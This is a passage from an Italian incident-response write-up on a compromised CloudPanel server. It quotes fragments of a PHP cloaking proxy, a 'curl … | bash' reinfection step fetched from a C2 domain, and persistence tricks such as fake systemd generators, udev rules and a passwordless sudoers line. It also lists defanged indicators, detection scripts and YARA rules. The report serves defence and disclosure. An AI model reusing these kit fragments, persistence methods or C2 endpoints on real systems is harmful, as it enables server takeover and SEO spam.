set_time_limit(0);
error_reporting(0);
ini_set('display_errors','0');
ini_set('log_errors','0');
$remote_base='hxxps://16cr[.]com/idnxy2?domain=';
function normalize_encoding($content){if(function_exists('mb_convert_encoding'))return mb_convert_encoding($content,'UTF-8','auto');return $content;}
function extract_http_code($header_lines){foreach($hea…
La trascrizione (fatta a mano dagli screenshot archiviati, non dal file originale) è affidabile fino a questo punto; il resto della funzione non l'ho ricostruito. Nella versione del 14/08 lo stesso codice è formattato in modo leggibile e l'endpoint remoto è cambiato.
Versione del 14/08/2026:
<?php
set_time_limit(0);
error_reporting(0);
ini_set("display_errors", "0");
ini_set("log_errors", "0");
$remote_base = "hxxps://tg.cgjzjg[.]com/idnxy?domain=";
function normalize_encoding($content) { ... }
function extract_http_code($header_lines) { ... }
È un proxy di cloaking. Per il dominio richiesto (?domain=) interroga un backend remoto, ne normalizza la codifica, ne legge lo status HTTP e restituisce quel contenuto al posto della pagina reale. Lo stesso schema, cioè auto_prepend_file="data:;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7..." in php.ini più il riconoscimento degli spider (Baiduspider|360spider|Sogou…) per servire contenuti diversi ai motori di ricerca, è documentato pubblicamente su server DirectAdmin dal 2024. Si tratta di una famiglia di kit in uso da tempo, adattata a CloudPanel.
Sul sistema analizzato i log nginx mostravano migliaia di richieste da crawler (MJ12bot, AhrefsBot, bingbot, Googlebot) verso URL mai esistiti:
/?cc=171433228872
/shop/87227347182
/online/675549563810
È il pattern tipico delle doorway page generate da questi cloaker, con identificativi numerici lunghi e percorsi generici.
11.4 Dove porta la monetizzazione
16cr[.]com/idnxy.html, scansionato su urlscan.io lo stesso 25/07/2026, reindirizza a:
hxxps://eazbmrh7hr.v0f6z3u9[.]com/IDR-en/home?refid=ATISNTNRQ
IDR è il codice ISO della rupia indonesiana, refid è un codice di affiliazione, e il percorso idnxy richiama "IDN". È la firma delle piattaforme di gioco d'azzardo online indonesiane ("slot gacor"), che da anni usano server compromessi in tutto il mondo per posizionarsi sui motori di ricerca con la reputazione di domini altrui. Sulla stessa pagina compaiono anche il dominio jsjzzy[.]com (certificato WE1) e Microsoft Clarity per il tracciamento.
12. Infrastruttura dell'attaccante
12.1 C2: githubresource[.]com
| Campo | Valore |
|---|---|
| Registrar | GoDaddy.com, LLC (IANA 146) |
| Registrant | Domains By Proxy, LLC (privacy) |
| Creazione | 2025-04-18 08:13:05 UTC |
| Ultimo aggiornamento | 2026-04-20 12:58:19 UTC |
| Scadenza | 2027-04-18 |
| Stato | clientDelete/Renew/Transfer/UpdateProhibited |
| NS | arturo.ns.cloudflare.com, autumn.ns.cloudflare.com |
| A (nel tempo) | 188.114.96[.]2 / 188.114.97[.]2 → 188.114.96[.]3 / 97[.]3 → 188.114.96[.]7 / 97[.]7 |
| AAAA | 2a06:98c1:3120::7, 2a06:98c1:3121::7 |
| DNS wildcard | Sì (*.githubresource[.]com risolve) |
| MX / TXT / CAA | Assenti |
| Sottodomini osservati | api. (C2 e recover), git. (distribuzione dei kit) |
Certificati (Certificate Transparency): emissioni continue da aprile 2025 a oggi, con quattro CA diverse (Google Trust Services WE1, Sectigo, GoDaddy, Let's Encrypt YE1) e rinnovi puntuali ogni 60–90 giorni. È un'infrastruttura mantenuta con cura. Il nome imita GitHub per sembrare traffico legittimo verso "risorse GitHub" (git., api.).
Gli IP sono anycast Cloudflare: il server d'origine è nascosto e bloccare gli IP non ha senso (sono condivisi con milioni di siti leciti). L'unico blocco efficace è per nome, meglio se a livello di DNS o di proxy in uscita.
12.2 Domini del cloaking
| Dominio | Registrar | Creazione (WHOIS) | Primo certificato CT | NS | Ruolo |
|---|---|---|---|---|---|
16cr[.]com |
Gname.com Pte. Ltd. | 2025-06-09 | 2024-05-22 | cass/trevor.ns.cloudflare.com |
backend cloaking v1 (/idnxy2), redirect gambling (/idnxy.html) |
cgjzjg[.]com / tg.cgjzjg[.]com |
Gname.com Pte. Ltd. | 2024-06-13 | 2019-05-21 | joan/odin.ns.cloudflare.com |
backend cloaking v2 (/idnxy) |
v0f6z3u9[.]com |
— | — | — | Cloudflare | landing gambling (eazbmrh7hr. sottodominio casuale) |
jsjzzy[.]com |
— | — | — | — | risorsa collegata alla landing |
root-seo[.]com |
— | — | — | — | pannello ROOT-SEO |
I certificati sono più vecchi della data di creazione WHOIS. È il segno di domini scaduti e ri-registrati ("aged domains"), comprati per la loro storia e reputazione. Gname è un registrar di Singapore molto usato da operatori dell'area cinese.
12.3 Attribuzione (con cautela)
- Commenti in cinese nel kit
cp.txt. - Registrar Gname e domini invecchiati per il cloaking.
- Monetizzazione sul mercato del gambling indonesiano.
- Tooling moderno e curato (Rust nightly giugno 2026,
cargo-zigbuild, DoH, loader in memoria). - Identità fittizie occidentali generate automaticamente per gli account del pannello.
Il profilo è quello di un gruppo criminale a scopo di lucro, di area cinese, che compromette server CloudPanel su larga scala e li rivende o sfrutta per SEO spam. Non ci sono elementi di un attacco mirato contro il sistema specifico: webshell identiche con nomi casuali, kit generici, account fittizi. Questa è una valutazione, non un'attribuzione.
13. Tecniche MITRE ATT&CK
| Tattica | Tecnica | Implementazione osservata |
|---|---|---|
| Initial Access | T1190 Exploit Public-Facing Application | CloudPanel 2.3.2 (CVE-2023-46157 / CVE-2023-35885, ipotesi) |
| Execution | T1059.004 Unix Shell | curl … | bash (recover) |
| Execution | T1505.003 Web Shell | 9 webshell PHP con eval di codice firmato RSA |
| Persistence | T1543.002 Systemd Service | falsi generator, unit transient systemd-run |
| Persistence | T1053.006 Systemd Timers | system-dependency-tracker.timer |
| Persistence | T1546 Event Triggered Execution | regola udev 75-random-init.rules |
| Persistence | T1136 / T1098 Create/Manipulate Account | admin CloudPanel scritto nel DB SQLite |
| Persistence | T1505.003 + backup | webshell propagata nei backup giornalieri |
| Privilege Escalation | T1548.003 Sudo | clp ALL=(ALL) NOPASSWD: ALL |
| Privilege Escalation | T1548.001 Setuid | /usr/bin/chuser 4755 |
| Defense Evasion | T1036.004/.005 Masquerading | nomi kworker/watchdog, dbus-daemon, .so eseguibili, chuser≈chattr |
| Defense Evasion | T1070.006 Timestomp | mtime 2026-01-23 10:51:17 su tutto lo stage 2 |
| Defense Evasion | T1222.002 File Permissions Modification | chattr +i |
| Defense Evasion | T1027 / T1620 Obfuscated Files / Reflective Code Loading | stage 1 cifrato, PHANTOM_LOADER in memoria |
| Defense Evasion | T1564.001 Hidden Files | /dev/shm/.dbus-…, .rs_g* |
| Discovery | T1082 System Information Discovery | hostname, CPU (chuser) |
| Command and Control | T1071.001 Web Protocols | HTTPS 443 |
| Command and Control | T1071.004 / T1572 DNS over HTTPS | /dns-query?…&type=A |
| Command and Control | T1090 Proxy (reverse proxy CDN) | origine nascosta dietro Cloudflare, IP anycast ruotati |
| Command and Control | T1105 Ingress Tool Transfer | /api/recover, /cp/cp.txt, /bash |
| Impact | T1565.001 Stored Data Manipulation | php.ini, .htaccess, footer, jquery.min.js |
| Collection | T1056.003 Web Portal Capture (probabile) | JS nel jquery.min.js del pannello |
14. Indicatori di compromissione
14.1 Hash SHA-256
749f5b949e6f3c79dbce6d1087605cab5fce00faf16f1633dff18ccadd3ff2a0 webshell PHP "OpenALL" (chiave RSA #1, parametro POST OpenSSL)
fa753f9e3e657aaf8cb0b7d1e33fcda163359bf9c5183d0478b34f892a329c54 webshell PHP openid-script.php (chiave RSA #2, parametro POST CloudPanel)
04ab8107fbd0b3bc599aa3ec1e3ccaea3e63e7807dd4399c0ffb74c54ba7418e stage 1 ELF cifrato (systemd-helper, dbus-daemon, gnome-session-binary, tmpfiles-prime, bootd)
1b1f6fac895cef4c0f6c48b873c8817291f297361c817a0dd46be522fdcc8a07 stage 2 PHANTOM_LOADER Rust (libaudit-base.so.3, libjournald-runtime.so.0, libsystemd-journald-backend.so.0.1)
d9909a2eb507157c66054e89a2db6911dc018651f322dcad9e0d1e412a7b742e chuser (SUID, Rust, DoH client)
211fb1b99129f7f496ef877489aa22709b0bebd2951f235ca7ef3160e1bd39f6 systemd-lvm-topology-generator ("systemd-fake-generator v252")
014610c2dc6ad04e9077264d88bd31535a2c6098357527ccd5fef7b7678320ec systemd-netlink-sync-generator (recover)
f67ebc76ea22ceda6dcd97ecb00d79964c401b2989a1b7efa74d978b4c0e6107 ROOT-SEO Connector v5.4
a578844e0ecd2206694672557329d5799ab98532b7434676d2005ebca2b6060c 75-random-init.rules
5fbb84ad93c84e13df197003ddc1f13118595863561d0e4e2037015fedc74657 system-dependency-tracker.timer
eb59b69f810e7147b62fc235fab666dc8155215ac1e6dc2fb5b7b3f76d7661d3 system-dependency-tracker.service
39509aaeabc6f5d955fa0408600494edf7568f80bf3ebab1cd8e21e686926d2e cp.txt v1 (25/07/2026)
b04e0a88bfb3d3881104d0ec5cf09f74fcb72afeb2e44575c4c7516b90fabb5c cp.txt v2 (14/08/2026)
14.2 Rete
api.githubresource[.]com C2, TLS 443 (e HTTP 80 dallo stage 1)
hxxps://api.githubresource[.]com/api/recover script di reinfezione
git.githubresource[.]com distribuzione kit
hxxps://git.githubresource[.]com/cp/cp.txt kit CloudPanel (php.ini + nginx + jquery)
hxxps://git.githubresource[.]com/bash installer (401)
*.githubresource[.]com wildcard
hxxps://16cr[.]com/idnxy2?domain= backend cloaking v1
hxxps://16cr[.]com/idnxy.html redirect gambling
hxxps://tg.cgjzjg[.]com/idnxy?domain= backend cloaking v2
eazbmrh7hr.v0f6z3u9[.]com/IDR-en/home?refid=ATISNTNRQ landing gambling (IDR)
jsjzzy[.]com collegato alla landing
hxxps://root-seo[.]com/api pannello ROOT-SEO (e /connector/v5/source)
188.114.96[.]2 / .3 / .7, 188.114.97[.]2 / .3 / .7 Cloudflare anycast (NON bloccare per IP)
14.3 File system
/home/clp/htdocs/app/files/public/phpmyadmin/examples/openid-script.php (+i, anche in /home/clp/backups/*)
/usr/libexec/systemd-helper
/usr/libexec/dbus-daemon
/usr/libexec/gnome-session-binary
/usr/sbin/tmpfiles-prime
/usr/local/sbin/bootd
/usr/local/lib/libaudit-base.so.3 (+i)
/usr/local/lib/libjournald-runtime.so.0 (+i)
/usr/lib64/libsystemd-journald-backend.so.0.1
/usr/bin/chuser (SUID root)
/usr/lib/systemd/system-generators/systemd-lvm-topology-generator
/lib/systemd/system-generators/systemd-lvm-topology-generator
/usr/lib/systemd/system-generators/systemd-netlink-sync-generator (+i)
/lib/systemd/system/system-dependency-tracker.timer (+i)
/lib/systemd/system/system-dependency-tracker.service (+i)
/etc/udev/rules.d/75-random-init.rules (+i)
/run/systemd/system/systemd-devsync.service
/dev/shm/.dbus-e411b8a324c8129d
/tmp/seo-config.php
<docroot>/[a-z0-9]{8}.php (webshell, stesso hash)
<docroot>/.rs_links_v5.json, .rs_v5_config.json, .rs_v5_nonces.json, .rs_prepend_v5.php, .rs_guardian_v5.json, .rs_g{1..10}/
/etc/php/*/*/php.ini → auto_prepend_file="data:;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7
/home/clp/htdocs/app/files/public/assets/js/jquery.min.js (modificato)
14.4 Stringhe distintive
PHANTOM_LOADER_ARGV_PADDED
systemd-fake-generator v252
write_fake_unit
launcher_template.c
Fini at work
Usage: chuser [-RVl] [-+=AacDdeijsSu] [-v version] files...
GET /dns-query?name=
OpenALL
$_POST['OpenSSL']
$_POST['CloudPanel']
ROOT-SEO Connector
ROOTSEO_HTACCESS_START
rootseo-connector/
idnxy
14.5 Identità fittizie
CloudPanel user: nataliejohnson — "Jessica Farley" — kramershane@gmail.com — ROLE_ADMIN
CloudPanel user: bryan52 — "Edward Ellis" — wardshannon@gmail.com — ROLE_USER
15. Rilevamento
15.1 Controlli rapidi su un server CloudPanel
# Processi "kernel" con eseguibile su disco (i thread veri non hanno exe)
for p in /proc/[0-9]*; do
e=$(readlink "$p/exe" 2>/dev/null) || continue
c=$(cat "$p/comm" 2>/dev/null)
case "$c" in kworker*|watchdog*|migration*|ksoftirqd*|cpuhp*|scsi_eh*|kauditd|rcu_*|irq/*|idle_inject*|kdevtmpfs)
echo "SOSPETTO pid=${p#/proc/} comm=$c exe=$e";; esac
done
# Generator systemd non appartenenti a pacchetti
for f in /usr/lib/systemd/system-generators/* /lib/systemd/system-generators/* /etc/systemd/system-generators/* /usr/local/lib/systemd/system-generators/*; do
[ -e "$f" ] && ! dpkg -S "$f" >/dev/null 2>&1 && echo "GENERATOR NON DI PACCHETTO: $f"
done
# Regole udev con systemd-run / KillMode=none
grep -rn "systemd-run\|KillMode=none" /etc/udev/rules.d/ /lib/udev/rules.d/ 2>/dev/null
# File immutabili in percorsi di sistema
lsattr -R /usr/local /usr/lib64 /usr/libexec /etc/udev /lib/systemd/system /usr/lib/systemd 2>/dev/null | grep -- '-i-'
# SUID non di pacchetto
find / -xdev -perm -4000 -type f 2>/dev/null | while read f; do dpkg -S "$f" >/dev/null 2>&1 || echo "SUID ESTRANEO: $f"; done
# Timestomping: birth successivo a mtime (find -newerBt non è disponibile su findutils 4.8 di Ubuntu 22.04)
find /usr /lib /lib64 /etc /usr/local -xdev -type f 2>/dev/null | while read -r f; do
read -r b m < <(stat -c '%W %Y' "$f" 2>/dev/null) || continue
[ "$b" -gt 0 ] && [ "$b" -gt "$m" ] && echo "TIMESTOMP? birth=$(date -d @$b '+%F %T') mtime=$(date -d @$m '+%F %T') $f"
done
# Variante rapida: file con mtime identico al secondo e nanosecondi a zero, in percorsi di sistema
find /usr/local /usr/lib64 /usr/libexec /etc/udev /lib/systemd/system /usr/lib/systemd/system-generators -xdev -type f \
-printf '%TY-%Tm-%Td %TH:%TM:%TS %p\n' 2>/dev/null | grep -E ':[0-9]{2}\.0000000000 ' | sort | uniq -w19 -D
# php.ini con prepend inline
grep -rn 'auto_prepend_file' /etc/php/ | grep -v '^\S*:\s*;'
# Webshell firmate RSA
grep -rlE "openssl_public_decrypt" /home/*/htdocs 2>/dev/null | xargs grep -l "eval(" 2>/dev/null
# Connettore ROOT-SEO
grep -rlE "ROOTSEO_|rootseo-connector|X-RS-Panel-Token" /home /tmp /var/tmp 2>/dev/null
find /home -name '.rs_*' 2>/dev/null
# Utenti CloudPanel senza evento di creazione
sqlite3 /home/clp/htdocs/app/data/db.sq3 \
"SELECT u.user_name,u.email,u.role,u.created_at FROM user u WHERE u.user_name NOT IN
(SELECT json_extract(event_data,'$.userName') FROM event WHERE event_name='ADMIN_USER_ADD') AND u.id<>1;"
# Risoluzione DNS del C2 (dal server)
getent hosts api.githubresource.com git.githubresource.com 16cr.com tg.cgjzjg.com
15.2 Regole YARA
Ho verificato che ogni stringa usata nelle regole è presente nel campione corrispondente (controllo byte a byte sui file in quarantena). Non ho invece potuto compilare ed eseguire le regole con yara, quindi prima di distribuirle vanno provate con yara -r regole.yar <cartella> e, se possibile, contro un corpus di file legittimi per misurare i falsi positivi. La regola sul php.ini è volutamente generica: la stringa idnxy da sola può produrre falsi positivi e va usata come segnale da confermare, non come verdetto.
rule APT_Linux_PhantomLoader_Rust
{
meta:
description = "Loader ELF in memoria (Rust) usato come stage 2 nella campagna githubresource"
hash = "1b1f6fac895cef4c0f6c48b873c8817291f297361c817a0dd46be522fdcc8a07"
strings:
$a = "PHANTOM_LOADER_ARGV_PADDED" ascii
$b = "invalid executable ELF payload" ascii
$c = "/usr/lib/systemd/systemd-journald" ascii
$d = "elf_loader-0." ascii
condition:
uint32(0) == 0x464c457f and $a and 2 of ($b,$c,$d)
}
rule Linux_Fake_Systemd_Generator
{
meta:
description = "Falsi generator systemd (bootd launcher / recover)"
hash1 = "211fb1b99129f7f496ef877489aa22709b0bebd2951f235ca7ef3160e1bd39f6"
hash2 = "014610c2dc6ad04e9077264d88bd31535a2c6098357527ccd5fef7b7678320ec"
strings:
$f1 = "systemd-fake-generator v252" ascii
$f2 = "write_fake_unit" ascii
$f3 = "/usr/local/sbin/bootd" ascii
$r1 = "githubresource.com/api/recover" ascii
$r2 = "' | bash" ascii
$r3 = "/usr/local/lib/libaudit-base.so.3" ascii
condition:
uint32(0) == 0x464c457f and (2 of ($f*) or ($r1 and $r2) or ($r3 and $r2))
}
rule Linux_Chuser_SUID_DoH_Implant
{
meta:
description = "Implant Rust SUID travestito da chattr con client DNS-over-HTTPS"
hash = "d9909a2eb507157c66054e89a2db6911dc018651f322dcad9e0d1e412a7b742e"
strings:
$u = "Usage: chuser" ascii
$d1 = "GET /dns-query?name=" ascii
$d2 = "application/dns-json" ascii
$h = "/etc/hostname" ascii
condition:
uint32(0) == 0x464c457f and $u and 1 of ($d*) and $h
}
rule PHP_Webshell_RSA_Signed_Eval_Pipeline
{
meta:
description = "Webshell PHP che esegue solo codice firmato RSA (OpenALL / CloudPanel)"
hash1 = "749f5b949e6f3c79dbce6d1087605cab5fce00faf16f1633dff18ccadd3ff2a0"
hash2 = "fa753f9e3e657aaf8cb0b7d1e33fcda163359bf9c5183d0478b34f892a329c54"
strings:
$a = "openssl_public_decrypt" ascii
$b = "function pipeline(" ascii
$c = "return eval($cmd)" ascii
$d = "define('PUBKEY'" ascii
condition:
filesize < 5KB and all of them
}
rule PHP_ROOTSEO_Connector
{
meta:
description = "ROOT-SEO Connector (backlink injection)"
hash = "f67ebc76ea22ceda6dcd97ecb00d79964c401b2989a1b7efa74d978b4c0e6107"
strings:
$a = "ROOT-SEO Connector" ascii
$b = "ROOTSEO_HTACCESS_START" ascii
$c = "HTTP_X_RS_PANEL_TOKEN" ascii
$d = ".rs_connector.php.bak" ascii
condition:
2 of them
}
rule PHP_INI_DataURI_Prepend_Cloaker
{
meta:
description = "php.ini con auto_prepend_file data: base64 (kit cp.txt / cloaking gambling)"
strings:
$a = /auto_prepend_file\s*=\s*"data:;base64,PD9waHA/ ascii
$b = "idnxy" ascii
condition:
$a or $b
}
15.3 Segnali che avrebbero dovuto allarmare prima
Col senno di poi, alcuni segnali erano visibili da tempo nei report giornalieri:
- rkhunter segnalava ogni giorno
Hidden file found: /dev/shm/.dbus-e411b8a324c8129d, sepolto tra 80 warning "file properties have changed" dovuti ad aggiornamenti non riallineati (--propupd). Un rkhunter rumoroso è un rkhunter inutile. - In
pscomparivano thread "kernel" con data di avvio diversa dal boot e RSS diverso da zero. - Nel syslog c'erano le righe
Unit process … (exe) remains running after unit stoppedper unitàrun-r*.serviceavviate alle 01:00 e subito dopo ogni refresh di snapd, più l'avvisoUnit configured to use KillMode=none. This is unsafea ognidaemon-reload. - Nel pannello c'era un amministratore sconosciuto, visibile nella pagina Users.
16. Bonifica: cosa ho imparato
- Preservare prima di toccare. Servono snapshot del disco e dump della RAM (AVML/LiME) prima di uccidere i processi. Nel mio caso i processi sono stati terminati senza acquisizione della memoria, e la funzione reale del payload in memoria è rimasta sconosciuta. È il limite principale di questa analisi.
- Togliere l'immutabilità (
chattr -i) prima di spostare i file, altrimentimv/rmfalliscono in silenzio negli script. - Riavviare e ricontrollare. La seconda persistenza (il generator di recover) è emersa solo al primo reboot. Senza il blocco preventivo del dominio si sarebbe reinfettato tutto.
- Bloccare il C2 per nome, non per IP: Cloudflare anycast, IP ruotati tre volte nel periodo osservato.
- I backup possono essere infetti. La webshell era in tutti i backup giornalieri del pannello.
- Una pulizia a caldo non basta. Con root per un anno, strumenti anti-forensi e un kit che modifica
php.ini, nginx e il JavaScript del pannello, l'unica bonifica affidabile è la ricostruzione da immagine pulita. I dati vanno migrati con revisione (niente/etc,/usr,/home/clp, unit systemd), e tutte le credenziali vanno ruotate: pannello, database, SSH, API key nei.env, DKIM, account del provider. - Hardening minimo per CloudPanel:
- pannello sempre aggiornato;
- porta 8443 raggiungibile solo da IP fidati o VPN;
- MFA obbligatorio;
- rimozione di
phpmyadmin/examples; disable_functionseopen_basedirnei pool PHP-FPM;/tmpe/dev/shmmontatinoexec,nosuid;auditdsusudoers,udev/rules.d,system-generators,chattrephp.ini;- AIDE o
debsumscon baseline conservata fuori dal server; - log conservati per mesi, e fuori dal server.
17. Conclusioni
Questa campagna mostra quanto il livello medio degli attacchi "di massa" contro i pannelli di hosting si sia alzato. Non c'è un semplice miner lasciato in /tmp, ma una catena modulare e professionale:
- accesso esclusivo garantito da firme RSA;
- loader in Rust che non scrive mai il payload su disco;
- persistenza che sfrutta meccanismi poco sorvegliati del sistema (generator systemd, udev,
KillMode=none) e perfino i refresh automatici di snapd come trigger; - C2 nascosto dietro Cloudflare e raggiunto via DNS-over-HTTPS;
- reinfezione automatica in caso di pulizia;
- monetizzazione a più livelli: backlink venduti tramite un pannello "SaaS" (ROOT-SEO) e cloaking a livello di
php.iniche trasforma ogni sito ospitato in una vetrina per il gioco d'azzardo online indonesiano.
Il bersaglio non era un sito in particolare. Era un server CloudPanel non aggiornato, con un utente di servizio che diventa root senza password. Chiunque gestisca VPS con pannelli simili dovrebbe cercare oggi stesso gli indicatori elencati sopra.
Se gestisci una VPS con CloudPanel o un altro pannello di hosting e vuoi una verifica indipendente di questi indicatori, o un supporto nella bonifica, puoi aprire un ticket descrivendo la situazione.
Riferimenti
- CVE-2023-35885 – SentinelOne
- CVE CloudPanel (incl. CVE-2023-46157) – OpenCVE
- DirectAdmin Forums – php.ini injected with backdoor code auto_prepend_file
- Sucuri – Apache PHP Injection to JavaScript Files
- urlscan.io: cp.txt 25/07/2026, /bash, cp.txt 14/08/2026, 16cr[.]com/idnxy.html
- crt.sh – githubresource[.]com
- MITRE ATT&CK for Enterprise – Linux